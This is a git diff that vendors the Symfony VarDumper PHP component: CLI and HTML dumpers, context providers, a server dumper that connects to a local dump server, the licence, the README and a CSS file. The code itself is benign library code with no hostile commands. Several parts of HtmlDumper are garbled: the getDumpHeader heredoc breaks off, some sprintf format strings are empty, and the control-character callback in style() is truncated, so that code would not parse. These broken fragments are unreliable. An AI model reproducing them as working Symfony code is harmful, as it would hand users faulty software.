+ $map = static::$controlCharsMap; + $startCchr = $this->colors ? "\033[m\033[{$this->styles['default']}m" : ''; + $endCchr = $this->colors ? "\033[m\033[{$this->styles[$style]}m" : ''; + $value = preg_replace_callback(static::$controlCharsRx, function ($c) use ($map, $startCchr, $endCchr) { + $s = $startCchr; + $c = $c[$i = 0]; + do { + $s .= isset($map[$c[$i]]) ? $map[$c[$i]] : sprintf('\x%02X', \ord($c[$i])); + } while (isset($c[++$i])); + + return $s.$endCchr; + }, $value, -1, $cchrCount); + + if ($this->colors) { + if ($cchrCount && "\033" === $value[0]) { + $value = substr($value, \strlen($startCchr)); + } else { + $value = "\033[{$this->styles[$style]}m".$value; + } + if ($cchrCount && $endCchr === substr($value, -\strlen($endCchr))) { + $value = substr($value, 0, -\strlen($endCchr)); + } else { + $value .= "\033[{$this->styles['default']}m"; + } + } + + href: + if ($this->colors && $this->handlesHrefGracefully) { + if (isset($attr['file']) && $href = $this->getSourceLink($attr['file'], isset($attr['line']) ? $attr['line'] : 0)) { + if ('note' === $style) { + $value .= "\033]8;;{$href}\033\\^\033]8;;\033\\"; + } else { + $attr['href'] = $href; + } + } + if (isset($attr['href'])) { + $value = "\033]8;;{$attr['href']}\033\\{$value}\033]8;;\033\\"; + } + } elseif ($attr['if_links'] ?? false) { + return ''; + } + + return $value; + } + + /** + * @return bool Tells if the current output stream supports ANSI colors or not + */ + protected function supportsColors() + { + if ($this->outputStream !== static::$defaultOutput) { + return $this->hasColorSupport($this->outputStream); + } + if (null !== static::$defaultColors) { + return static::$defaultColors; + } + if (isset($_SERVER['argv'][1])) { + $colors = $_SERVER['argv']; + $i = \count($colors); + while (--$i > 0) { + if (isset($colors[$i][5])) { + switch ($colors[$i]) { + case '--ansi': + case '--color': + case '--color=yes': + case '--color=force': + case '--color=always': + return static::$defaultColors = true; + + case '--no-ansi': + case '--color=no': + case '--color=none': + case '--color=never': + return static::$defaultColors = false; + } + } + } + } + + $h = stream_get_meta_data($this->outputStream) + ['wrapper_type' => null]; + $h = 'Output' === $h['stream_type'] && 'PHP' === $h['wrapper_type'] ? fopen('php://stdout', 'wb') : $this->outputStream; + + return static::$defaultColors = $this->hasColorSupport($h); + } + + /** + * {@inheritdoc} + */ + protected function dumpLine($depth, $endOfValue = false) + { + if ($this->colors) { + $this->line = sprintf("\033[%sm%s\033[m", $this->styles['default'], $this->line); + } + parent::dumpLine($depth); + } + + protected function endValue(Cursor $cursor) + { + if (-1 === $cursor->hashType) { + return; + } + + if (Stub::ARRAY_INDEXED === $cursor->hashType || Stub::ARRAY_ASSOC === $cursor->hashType) { + if (self::DUMP_TRAILING_COMMA & $this->flags && 0 < $cursor->depth) { + $this->line .= ','; + } elseif (self::DUMP_COMMA_SEPARATOR & $this->flags && 1 < $cursor->hashLength - $cursor->hashIndex) { + $this->line .= ','; + } + } + + $this->dumpLine($cursor->depth, true); + } + + /** + * Returns true if the stream supports colorization. + * + * Reference: Composer\XdebugHandler\Process::supportsColor + * https://github.com/composer/xdebug-handler + * + * @param mixed $stream A CLI output stream + */ + private function hasColorSupport($stream): bool + { + if (!\is_resource($stream) || 'stream' !== get_resource_type($stream)) { + return false; + } + + // Follow https://no-color.org/ + if (isset($_SERVER['NO_COLOR']) || false !== getenv('NO_COLOR')) { + return false; + } + + if ('Hyper' === getenv('TERM_PROGRAM')) { + return true; + } + + if (\DIRECTORY_SEPARATOR === '\\') { + return (\function_exists('sapi_windows_vt100_support') + && @sapi_windows_vt100_support($stream)) + || false !== getenv('ANSICON') + || 'ON' === getenv('ConEmuANSI') + || 'xterm' === getenv('TERM'); + } + + if (\function_exists('stream_isatty')) { + return @stream_isatty($stream); + } + + if (\function_exists('posix_isatty')) { + return @posix_isatty($stream); + } + + $stat = @fstat($stream); + // Check if formatted mode is S_IFCHR + return $stat ? 0020000 === ($stat['mode'] & 0170000) : false; + } + + /** + * Returns true if the Windows terminal supports true color. + * + * Note that this does not check an output stream, but relies on environment + * variables from known implementations, or a PHP and Windows version that + * supports true color. + */ + private function isWindowsTrueColor(): bool + { + $result = 183 <= getenv('ANSICON_VER') + || 'ON' === getenv('ConEmuANSI') + || 'xterm' === getenv('TERM') + || 'Hyper' === getenv('TERM_PROGRAM'); + + if (!$result && \PHP_VERSION_ID >= 70200) { + $version = sprintf( + '%s.%s.%s', + PHP_WINDOWS_VERSION_MAJOR, + PHP_WINDOWS_VERSION_MINOR, + PHP_WINDOWS_VERSION_BUILD + ); + $result = $version >= '10.0.15063'; + } + + return $result; + } + + private function getSourceLink(string $file, int $line) + { + if ($fmt = $this->displayOptions['fileLinkFormat']) { + return \is_string($fmt) ? strtr($fmt, ['%f' => $file, '%l' => $line]) : ($fmt->format($file, $line) ?: 'file://'.$file.'#L'.$line); + } + + return false; + } +} diff --git a/vendor/symfony/var-dumper/Dumper/ContextProvider/CliContextProvider.php b/vendor/symfony/var-dumper/Dumper/ContextProvider/CliContextProvider.php new file mode 100644 index 0000000..38f8789 --- /dev/null +++ b/vendor/symfony/var-dumper/Dumper/ContextProvider/CliContextProvider.php @@ -0,0 +1,32 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace Symfony\Component\VarDumper\Dumper\ContextProvider; + +/** + * Tries to provide context on CLI. + * + * @author Maxime Steinhausser + */ +final class CliContextProvider implements ContextProviderInterface +{ + public function getContext(): ?array + { + if ('cli' !== \PHP_SAPI) { + return null; + } + + return [ + 'command_line' => $commandLine = implode(' ', $_SERVER['argv'] ?? []), + 'identifier' => hash('crc32b', $commandLine.$_SERVER['REQUEST_TIME_FLOAT']), + ]; + } +} diff --git a/vendor/symfony/var-dumper/Dumper/ContextProvider/ContextProviderInterface.php b/vendor/symfony/var-dumper/Dumper/ContextProvider/ContextProviderInterface.php new file mode 100644 index 0000000..38ef3b0 --- /dev/null +++ b/vendor/symfony/var-dumper/Dumper/ContextProvider/ContextProviderInterface.php @@ -0,0 +1,25 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace Symfony\Component\VarDumper\Dumper\ContextProvider; + +/** + * Interface to provide contextual data about dump data clones sent to a server. + * + * @author Maxime Steinhausser + */ +interface ContextProviderInterface +{ + /** + * @return array|null Context data or null if unable to provide any context + */ + public function getContext(): ?array; +} diff --git a/vendor/symfony/var-dumper/Dumper/ContextProvider/RequestContextProvider.php b/vendor/symfony/var-dumper/Dumper/ContextProvider/RequestContextProvider.php new file mode 100644 index 0000000..3684a47 --- /dev/null +++ b/vendor/symfony/var-dumper/Dumper/ContextProvider/RequestContextProvider.php @@ -0,0 +1,51 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace Symfony\Component\VarDumper\Dumper\ContextProvider; + +use Symfony\Component\HttpFoundation\RequestStack; +use Symfony\Component\VarDumper\Caster\ReflectionCaster; +use Symfony\Component\VarDumper\Cloner\VarCloner; + +/** + * Tries to provide context from a request. + * + * @author Maxime Steinhausser + */ +final class RequestContextProvider implements ContextProviderInterface +{ + private $requestStack; + private $cloner; + + public function __construct(RequestStack $requestStack) + { + $this->requestStack = $requestStack; + $this->cloner = new VarCloner(); + $this->cloner->setMaxItems(0); + $this->cloner->addCasters(ReflectionCaster::UNSET_CLOSURE_FILE_INFO); + } + + public function getContext(): ?array + { + if (null === $request = $this->requestStack->getCurrentRequest()) { + return null; + } + + $controller = $request->attributes->get('_controller'); + + return [ + 'uri' => $request->getUri(), + 'method' => $request->getMethod(), + 'controller' => $controller ? $this->cloner->cloneVar($controller) : $controller, + 'identifier' => spl_object_hash($request), + ]; + } +} diff --git a/vendor/symfony/var-dumper/Dumper/ContextProvider/SourceContextProvider.php b/vendor/symfony/var-dumper/Dumper/ContextProvider/SourceContextProvider.php new file mode 100644 index 0000000..c3cd322 --- /dev/null +++ b/vendor/symfony/var-dumper/Dumper/ContextProvider/SourceContextProvider.php @@ -0,0 +1,126 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace Symfony\Component\VarDumper\Dumper\ContextProvider; + +use Symfony\Component\HttpKernel\Debug\FileLinkFormatter; +use Symfony\Component\VarDumper\Cloner\VarCloner; +use Symfony\Component\VarDumper\Dumper\HtmlDumper; +use Symfony\Component\VarDumper\VarDumper; +use Twig\Template; + +/** + * Tries to provide context from sources (class name, file, line, code excerpt, ...). + * + * @author Nicolas Grekas + * @author Maxime Steinhausser + */ +final class SourceContextProvider implements ContextProviderInterface +{ + private $limit; + private $charset; + private $projectDir; + private $fileLinkFormatter; + + public function __construct(string $charset = null, string $projectDir = null, FileLinkFormatter $fileLinkFormatter = null, int $limit = 9) + { + $this->charset = $charset; + $this->projectDir = $projectDir; + $this->fileLinkFormatter = $fileLinkFormatter; + $this->limit = $limit; + } + + public function getContext(): ?array + { + $trace = debug_backtrace(\DEBUG_BACKTRACE_PROVIDE_OBJECT | \DEBUG_BACKTRACE_IGNORE_ARGS, $this->limit); + + $file = $trace[1]['file']; + $line = $trace[1]['line']; + $name = false; + $fileExcerpt = false; + + for ($i = 2; $i < $this->limit; ++$i) { + if (isset($trace[$i]['class'], $trace[$i]['function']) + && 'dump' === $trace[$i]['function'] + && VarDumper::class === $trace[$i]['class'] + ) { + $file = $trace[$i]['file'] ?? $file; + $line = $trace[$i]['line'] ?? $line; + + while (++$i < $this->limit) { + if (isset($trace[$i]['function'], $trace[$i]['file']) && empty($trace[$i]['class']) && 0 !== strpos($trace[$i]['function'], 'call_user_func')) { + $file = $trace[$i]['file']; + $line = $trace[$i]['line']; + + break; + } elseif (isset($trace[$i]['object']) && $trace[$i]['object'] instanceof Template) { + $template = $trace[$i]['object']; + $name = $template->getTemplateName(); + $src = method_exists($template, 'getSourceContext') ? $template->getSourceContext()->getCode() : (method_exists($template, 'getSource') ? $template->getSource() : false); + $info = $template->getDebugInfo(); + if (isset($info[$trace[$i - 1]['line']])) { + $line = $info[$trace[$i - 1]['line']]; + $file = method_exists($template, 'getSourceContext') ? $template->getSourceContext()->getPath() : null; + + if ($src) { + $src = explode("\n", $src); + $fileExcerpt = []; + + for ($i = max($line - 3, 1), $max = min($line + 3, \count($src)); $i <= $max; ++$i) { + $fileExcerpt[] = ''.$this->htmlEncode($src[$i - 1]).''; + } + + $fileExcerpt = '
      '.implode("\n", $fileExcerpt).'
    '; + } + } + break; + } + } + break; + } + } + + if (false === $name) { + $name = str_replace('\\', '/', $file); + $name = substr($name, strrpos($name, '/') + 1); + } + + $context = ['name' => $name, 'file' => $file, 'line' => $line]; + $context['file_excerpt'] = $fileExcerpt; + + if (null !== $this->projectDir) { + $context['project_dir'] = $this->projectDir; + if (0 === strpos($file, $this->projectDir)) { + $context['file_relative'] = ltrim(substr($file, \strlen($this->projectDir)), \DIRECTORY_SEPARATOR); + } + } + + if ($this->fileLinkFormatter && $fileLink = $this->fileLinkFormatter->format($context['file'], $context['line'])) { + $context['file_link'] = $fileLink; + } + + return $context; + } + + private function htmlEncode(string $s): string + { + $html = ''; + + $dumper = new HtmlDumper(function ($line) use (&$html) { $html .= $line; }, $this->charset); + $dumper->setDumpHeader(''); + $dumper->setDumpBoundaries('', ''); + + $cloner = new VarCloner(); + $dumper->dump($cloner->cloneVar($s)); + + return substr(strip_tags($html), 1, -1); + } +} diff --git a/vendor/symfony/var-dumper/Dumper/ContextualizedDumper.php b/vendor/symfony/var-dumper/Dumper/ContextualizedDumper.php new file mode 100644 index 0000000..7638417 --- /dev/null +++ b/vendor/symfony/var-dumper/Dumper/ContextualizedDumper.php @@ -0,0 +1,43 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace Symfony\Component\VarDumper\Dumper; + +use Symfony\Component\VarDumper\Cloner\Data; +use Symfony\Component\VarDumper\Dumper\ContextProvider\ContextProviderInterface; + +/** + * @author Kévin Thérage + */ +class ContextualizedDumper implements DataDumperInterface +{ + private $wrappedDumper; + private $contextProviders; + + /** + * @param ContextProviderInterface[] $contextProviders + */ + public function __construct(DataDumperInterface $wrappedDumper, array $contextProviders) + { + $this->wrappedDumper = $wrappedDumper; + $this->contextProviders = $contextProviders; + } + + public function dump(Data $data) + { + $context = []; + foreach ($this->contextProviders as $contextProvider) { + $context[\get_class($contextProvider)] = $contextProvider->getContext(); + } + + $this->wrappedDumper->dump($data->withContext($context)); + } +} diff --git a/vendor/symfony/var-dumper/Dumper/DataDumperInterface.php b/vendor/symfony/var-dumper/Dumper/DataDumperInterface.php new file mode 100644 index 0000000..b173bcc --- /dev/null +++ b/vendor/symfony/var-dumper/Dumper/DataDumperInterface.php @@ -0,0 +1,24 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace Symfony\Component\VarDumper\Dumper; + +use Symfony\Component\VarDumper\Cloner\Data; + +/** + * DataDumperInterface for dumping Data objects. + * + * @author Nicolas Grekas + */ +interface DataDumperInterface +{ + public function dump(Data $data); +} diff --git a/vendor/symfony/var-dumper/Dumper/HtmlDumper.php b/vendor/symfony/var-dumper/Dumper/HtmlDumper.php new file mode 100644 index 0000000..8320f5a --- /dev/null +++ b/vendor/symfony/var-dumper/Dumper/HtmlDumper.php @@ -0,0 +1,1004 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace Symfony\Component\VarDumper\Dumper; + +use Symfony\Component\VarDumper\Cloner\Cursor; +use Symfony\Component\VarDumper\Cloner\Data; + +/** + * HtmlDumper dumps variables as HTML. + * + * @author Nicolas Grekas + */ +class HtmlDumper extends CliDumper +{ + public static $defaultOutput = 'php://output'; + + protected static $themes = [ + 'dark' => [ + 'default' => 'background-color:#18171B; color:#FF8400; line-height:1.2em; font:12px Menlo, Monaco, Consolas, monospace; word-wrap: break-word; white-space: pre-wrap; position:relative; z-index:99999; word-break: break-all', + 'num' => 'font-weight:bold; color:#1299DA', + 'const' => 'font-weight:bold', + 'str' => 'font-weight:bold; color:#56DB3A', + 'note' => 'color:#1299DA', + 'ref' => 'color:#A0A0A0', + 'public' => 'color:#FFFFFF', + 'protected' => 'color:#FFFFFF', + 'private' => 'color:#FFFFFF', + 'meta' => 'color:#B729D9', + 'key' => 'color:#56DB3A', + 'index' => 'color:#1299DA', + 'ellipsis' => 'color:#FF8400', + 'ns' => 'user-select:none;', + ], + 'light' => [ + 'default' => 'background:none; color:#CC7832; line-height:1.2em; font:12px Menlo, Monaco, Consolas, monospace; word-wrap: break-word; white-space: pre-wrap; position:relative; z-index:99999; word-break: break-all', + 'num' => 'font-weight:bold; color:#1299DA', + 'const' => 'font-weight:bold', + 'str' => 'font-weight:bold; color:#629755;', + 'note' => 'color:#6897BB', + 'ref' => 'color:#6E6E6E', + 'public' => 'color:#262626', + 'protected' => 'color:#262626', + 'private' => 'color:#262626', + 'meta' => 'color:#B729D9', + 'key' => 'color:#789339', + 'index' => 'color:#1299DA', + 'ellipsis' => 'color:#CC7832', + 'ns' => 'user-select:none;', + ], + ]; + + protected $dumpHeader; + protected $dumpPrefix = '
    ';
    +    protected $dumpSuffix = '
    '; + protected $dumpId = 'sf-dump'; + protected $colors = true; + protected $headerIsDumped = false; + protected $lastDepth = -1; + protected $styles; + + private $displayOptions = [ + 'maxDepth' => 1, + 'maxStringLength' => 160, + 'fileLinkFormat' => null, + ]; + private $extraDisplayOptions = []; + + /** + * {@inheritdoc} + */ + public function __construct($output = null, string $charset = null, int $flags = 0) + { + AbstractDumper::__construct($output, $charset, $flags); + $this->dumpId = 'sf-dump-'.mt_rand(); + $this->displayOptions['fileLinkFormat'] = ini_get('xdebug.file_link_format') ?: get_cfg_var('xdebug.file_link_format'); + $this->styles = static::$themes['dark'] ?? self::$themes['dark']; + } + + /** + * {@inheritdoc} + */ + public function setStyles(array $styles) + { + $this->headerIsDumped = false; + $this->styles = $styles + $this->styles; + } + + public function setTheme(string $themeName) + { + if (!isset(static::$themes[$themeName])) { + throw new \InvalidArgumentException(sprintf('Theme "%s" does not exist in class "%s".', $themeName, static::class)); + } + + $this->setStyles(static::$themes[$themeName]); + } + + /** + * Configures display options. + * + * @param array $displayOptions A map of display options to customize the behavior + */ + public function setDisplayOptions(array $displayOptions) + { + $this->headerIsDumped = false; + $this->displayOptions = $displayOptions + $this->displayOptions; + } + + /** + * Sets an HTML header that will be dumped once in the output stream. + * + * @param string $header An HTML string + */ + public function setDumpHeader($header) + { + $this->dumpHeader = $header; + } + + /** + * Sets an HTML prefix and suffix that will encapse every single dump. + * + * @param string $prefix The prepended HTML string + * @param string $suffix The appended HTML string + */ + public function setDumpBoundaries($prefix, $suffix) + { + $this->dumpPrefix = $prefix; + $this->dumpSuffix = $suffix; + } + + /** + * {@inheritdoc} + */ + public function dump(Data $data, $output = null, array $extraDisplayOptions = []) + { + $this->extraDisplayOptions = $extraDisplayOptions; + $result = parent::dump($data, $output); + $this->dumpId = 'sf-dump-'.mt_rand(); + + return $result; + } + + /** + * Dumps the HTML header. + */ + protected function getDumpHeader() + { + $this->headerIsDumped = null !== $this->outputStream ? $this->outputStream : $this->lineDumper; + + if (null !== $this->dumpHeader) { + return $this->dumpHeader; + } + + $line = str_replace('{$options}', json_encode($this->displayOptions, \JSON_FORCE_OBJECT), <<<'EOHTML' +'.$this->dumpHeader; + } + + /** + * {@inheritdoc} + */ + public function dumpString(Cursor $cursor, $str, $bin, $cut) + { + if ('' === $str && isset($cursor->attr['img-data'], $cursor->attr['content-type'])) { + $this->dumpKey($cursor); + $this->line .= $this->style('default', $cursor->attr['img-size'] ?? '', []).' '; + $this->endValue($cursor); + $this->line .= $this->indentPad; + $this->line .= sprintf('', $cursor->attr['content-type'], base64_encode($cursor->attr['img-data'])); + $this->endValue($cursor); + } else { + parent::dumpString($cursor, $str, $bin, $cut); + } + } + + /** + * {@inheritdoc} + */ + public function enterHash(Cursor $cursor, $type, $class, $hasChild) + { + if (Cursor::HASH_OBJECT === $type) { + $cursor->attr['depth'] = $cursor->depth; + } + parent::enterHash($cursor, $type, $class, false); + + if ($cursor->skipChildren) { + $cursor->skipChildren = false; + $eol = ' class=sf-dump-compact>'; + } elseif ($this->expandNextHash) { + $this->expandNextHash = false; + $eol = ' class=sf-dump-expanded>'; + } else { + $eol = '>'; + } + + if ($hasChild) { + $this->line .= 'refIndex) { + $r = Cursor::HASH_OBJECT !== $type ? 1 - (Cursor::HASH_RESOURCE !== $type) : 2; + $r .= $r && 0 < $cursor->softRefHandle ? $cursor->softRefHandle : $cursor->refIndex; + + $this->line .= sprintf(' id=%s-ref%s', $this->dumpId, $r); + } + $this->line .= $eol; + $this->dumpLine($cursor->depth); + } + } + + /** + * {@inheritdoc} + */ + public function leaveHash(Cursor $cursor, $type, $class, $hasChild, $cut) + { + $this->dumpEllipsis($cursor, $hasChild, $cut); + if ($hasChild) { + $this->line .= ''; + } + parent::leaveHash($cursor, $type, $class, $hasChild, 0); + } + + /** + * {@inheritdoc} + */ + protected function style($style, $value, $attr = []) + { + if ('' === $value) { + return ''; + } + + $v = esc($value); + + if ('ref' === $style) { + if (empty($attr['count'])) { + return sprintf('%s', $v); + } + $r = ('#' !== $v[0] ? 1 - ('@' !== $v[0]) : 2).substr($value, 1); + + return sprintf('%s', $this->dumpId, $r, 1 + $attr['count'], $v); + } + + if ('const' === $style && isset($attr['value'])) { + $style .= sprintf(' title="%s"', esc(is_scalar($attr['value']) ? $attr['value'] : json_encode($attr['value']))); + } elseif ('public' === $style) { + $style .= sprintf(' title="%s"', empty($attr['dynamic']) ? 'Public property' : 'Runtime added dynamic property'); + } elseif ('str' === $style && 1 < $attr['length']) { + $style .= sprintf(' title="%d%s characters"', $attr['length'], $attr['binary'] ? ' binary or non-UTF-8' : ''); + } elseif ('note' === $style && 0 < ($attr['depth'] ?? 0) && false !== $c = strrpos($value, '\\')) { + $style .= ' title=""'; + $attr += [ + 'ellipsis' => \strlen($value) - $c, + 'ellipsis-type' => 'note', + 'ellipsis-tail' => 1, + ]; + } elseif ('protected' === $style) { + $style .= ' title="Protected property"'; + } elseif ('meta' === $style && isset($attr['title'])) { + $style .= sprintf(' title="%s"', esc($this->utf8Encode($attr['title']))); + } elseif ('private' === $style) { + $style .= sprintf(' title="Private property defined in class: `%s`"', esc($this->utf8Encode($attr['class']))); + } + $map = static::$controlCharsMap; + + if (isset($attr['ellipsis'])) { + $class = 'sf-dump-ellipsis'; + if (isset($attr['ellipsis-type'])) { + $class = sprintf('"%s sf-dump-ellipsis-%s"', $class, $attr['ellipsis-type']); + } + $label = esc(substr($value, -$attr['ellipsis'])); + $style = str_replace(' title="', " title=\"$v\n", $style); + $v = sprintf('%s', $class, substr($v, 0, -\strlen($label))); + + if (!empty($attr['ellipsis-tail'])) { + $tail = \strlen(esc(substr($value, -$attr['ellipsis'], $attr['ellipsis-tail']))); + $v .= sprintf('%s%s', $class, substr($label, 0, $tail), substr($label, $tail)); + } else { + $v .= $label; + } + } + + $v = "".preg_replace_callback(static::$controlCharsRx, function ($c) use ($map) { + $s = $b = ''; + }, $v).''; + + if (isset($attr['file']) && $href = $this->getSourceLink($attr['file'], isset($attr['line']) ? $attr['line'] : 0)) { + $attr['href'] = $href; + } + if (isset($attr['href'])) { + $target = isset($attr['file']) ? '' : ' target="_blank"'; + $v = sprintf('%s', esc($this->utf8Encode($attr['href'])), $target, $v); + } + if (isset($attr['lang'])) { + $v = sprintf('%s', esc($attr['lang']), $v); + } + + return $v; + } + + /** + * {@inheritdoc} + */ + protected function dumpLine($depth, $endOfValue = false) + { + if (-1 === $this->lastDepth) { + $this->line = sprintf($this->dumpPrefix, $this->dumpId, $this->indentPad).$this->line; + } + if ($this->headerIsDumped !== (null !== $this->outputStream ? $this->outputStream : $this->lineDumper)) { + $this->line = $this->getDumpHeader().$this->line; + } + + if (-1 === $depth) { + $args = ['"'.$this->dumpId.'"']; + if ($this->extraDisplayOptions) { + $args[] = json_encode($this->extraDisplayOptions, \JSON_FORCE_OBJECT); + } + // Replace is for BC + $this->line .= sprintf(str_replace('"%s"', '%s', $this->dumpSuffix), implode(', ', $args)); + } + $this->lastDepth = $depth; + + $this->line = mb_convert_encoding($this->line, 'HTML-ENTITIES', 'UTF-8'); + + if (-1 === $depth) { + AbstractDumper::dumpLine(0); + } + AbstractDumper::dumpLine($depth); + } + + private function getSourceLink(string $file, int $line) + { + $options = $this->extraDisplayOptions + $this->displayOptions; + + if ($fmt = $options['fileLinkFormat']) { + return \is_string($fmt) ? strtr($fmt, ['%f' => $file, '%l' => $line]) : $fmt->format($file, $line); + } + + return false; + } +} + +function esc($str) +{ + return htmlspecialchars($str, \ENT_QUOTES, 'UTF-8'); +} diff --git a/vendor/symfony/var-dumper/Dumper/ServerDumper.php b/vendor/symfony/var-dumper/Dumper/ServerDumper.php new file mode 100644 index 0000000..94795bf --- /dev/null +++ b/vendor/symfony/var-dumper/Dumper/ServerDumper.php @@ -0,0 +1,53 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace Symfony\Component\VarDumper\Dumper; + +use Symfony\Component\VarDumper\Cloner\Data; +use Symfony\Component\VarDumper\Dumper\ContextProvider\ContextProviderInterface; +use Symfony\Component\VarDumper\Server\Connection; + +/** + * ServerDumper forwards serialized Data clones to a server. + * + * @author Maxime Steinhausser + */ +class ServerDumper implements DataDumperInterface +{ + private $connection; + private $wrappedDumper; + + /** + * @param string $host The server host + * @param DataDumperInterface|null $wrappedDumper A wrapped instance used whenever we failed contacting the server + * @param ContextProviderInterface[] $contextProviders Context providers indexed by context name + */ + public function __construct(string $host, DataDumperInterface $wrappedDumper = null, array $contextProviders = []) + { + $this->connection = new Connection($host, $contextProviders); + $this->wrappedDumper = $wrappedDumper; + } + + public function getContextProviders(): array + { + return $this->connection->getContextProviders(); + } + + /** + * {@inheritdoc} + */ + public function dump(Data $data) + { + if (!$this->connection->write($data) && $this->wrappedDumper) { + $this->wrappedDumper->dump($data); + } + } +} diff --git a/vendor/symfony/var-dumper/Exception/ThrowingCasterException.php b/vendor/symfony/var-dumper/Exception/ThrowingCasterException.php new file mode 100644 index 0000000..122f0d3 --- /dev/null +++ b/vendor/symfony/var-dumper/Exception/ThrowingCasterException.php @@ -0,0 +1,26 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace Symfony\Component\VarDumper\Exception; + +/** + * @author Nicolas Grekas + */ +class ThrowingCasterException extends \Exception +{ + /** + * @param \Throwable $prev The exception thrown from the caster + */ + public function __construct(\Throwable $prev) + { + parent::__construct('Unexpected '.\get_class($prev).' thrown from a caster: '.$prev->getMessage(), 0, $prev); + } +} diff --git a/vendor/symfony/var-dumper/LICENSE b/vendor/symfony/var-dumper/LICENSE new file mode 100644 index 0000000..684fbf9 --- /dev/null +++ b/vendor/symfony/var-dumper/LICENSE @@ -0,0 +1,19 @@ +Copyright (c) 2014-2020 Fabien Potencier + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is furnished +to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +THE SOFTWARE. diff --git a/vendor/symfony/var-dumper/README.md b/vendor/symfony/var-dumper/README.md new file mode 100644 index 0000000..339f73e --- /dev/null +++ b/vendor/symfony/var-dumper/README.md @@ -0,0 +1,15 @@ +VarDumper Component +=================== + +The VarDumper component provides mechanisms for walking through any arbitrary +PHP variable. It provides a better `dump()` function that you can use instead +of `var_dump`. + +Resources +--------- + + * [Documentation](https://symfony.com/doc/current/components/var_dumper/introduction.html) + * [Contributing](https://symfony.com/doc/current/contributing/index.html) + * [Report issues](https://github.com/symfony/symfony/issues) and + [send Pull Requests](https://github.com/symfony/symfony/pulls) + in the [main Symfony repository](https://github.com/symfony/symfony) diff --git a/vendor/symfony/var-dumper/Resources/bin/var-dump-server b/vendor/symfony/var-dumper/Resources/bin/var-dump-server new file mode 100644 index 0000000..98c813a --- /dev/null +++ b/vendor/symfony/var-dumper/Resources/bin/var-dump-server @@ -0,0 +1,63 @@ +#!/usr/bin/env php + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +/** + * Starts a dump server to collect and output dumps on a single place with multiple formats support. + * + * @author Maxime Steinhausser + */ + +use Psr\Log\LoggerInterface; +use Symfony\Component\Console\Application; +use Symfony\Component\Console\Input\ArgvInput; +use Symfony\Component\Console\Input\InputOption; +use Symfony\Component\Console\Logger\ConsoleLogger; +use Symfony\Component\Console\Output\ConsoleOutput; +use Symfony\Component\VarDumper\Command\ServerDumpCommand; +use Symfony\Component\VarDumper\Server\DumpServer; + +function includeIfExists(string $file): bool +{ + return file_exists($file) && include $file; +} + +if ( + !includeIfExists(__DIR__ . '/../../../../autoload.php') && + !includeIfExists(__DIR__ . '/../../vendor/autoload.php') && + !includeIfExists(__DIR__ . '/../../../../../../vendor/autoload.php') +) { + fwrite(STDERR, 'Install dependencies using Composer.'.PHP_EOL); + exit(1); +} + +if (!class_exists(Application::class)) { + fwrite(STDERR, 'You need the "symfony/console" component in order to run the VarDumper server.'.PHP_EOL); + exit(1); +} + +$input = new ArgvInput(); +$output = new ConsoleOutput(); +$defaultHost = '127.0.0.1:9912'; +$host = $input->getParameterOption(['--host'], $_SERVER['VAR_DUMPER_SERVER'] ?? $defaultHost, true); +$logger = interface_exists(LoggerInterface::class) ? new ConsoleLogger($output->getErrorOutput()) : null; + +$app = new Application(); + +$app->getDefinition()->addOption( + new InputOption('--host', null, InputOption::VALUE_REQUIRED, 'The address the server should listen to', $defaultHost) +); + +$app->add($command = new ServerDumpCommand(new DumpServer($host, $logger))) + ->getApplication() + ->setDefaultCommand($command->getName(), true) + ->run($input, $output) +; diff --git a/vendor/symfony/var-dumper/Resources/css/htmlDescriptor.css b/vendor/symfony/var-dumper/Resources/css/htmlDescriptor.css new file mode 100644 index 0000000..8f706d6 --- /dev/null +++ b/vendor/symfony/var-dumper/Resources/css/htmlDescriptor.css @@ -0,0 +1,130 @@ +body { + display: flex; + flex-direction: column-reverse; + justify-content: flex-end; + max-width: 1140px; + margin: auto; + padding: 15px; + word-wrap: break-word; + background-color: #F9F9F9; + color: #222; + font-family: Helvetica, Arial, sans-serif; + font-size: 14px; + line-height: 1.4; +} +p { + margin: 0; +} +a { + color: #218BC3; + text-decoration: none; +} +a:hover { + text-decoration: underline; +} +.text-small { + font-size: 12px !important; +} +article { + margin: 5px; + margin-bottom: 10px; +} +article > header > .row { + display: flex; + flex-direction: row; + align-items: baseline; + margin-bottom: 10px; +} +article > header > .row > .col { + flex: 1; + display: flex; + align-items: baseline; +} +article > header > .row > h2 { + font-size: 14px; + color: #222; + font-weight: normal; + font-family: "Lucida Console", monospace, sans-serif; + word-break: break-all; + margin: 20px 5px 0 0; + user-select: all; +} +article > header > .row > h2 > code { + white-space: nowrap; + user-select: none; + color: #cc2255; + background-color: #f7f7f9; + border: 1px solid #e1e1e8; + border-radius: 3px; + margin-right: 5px; + padding: 0 3px; +} +article > header > .row > time.col { + 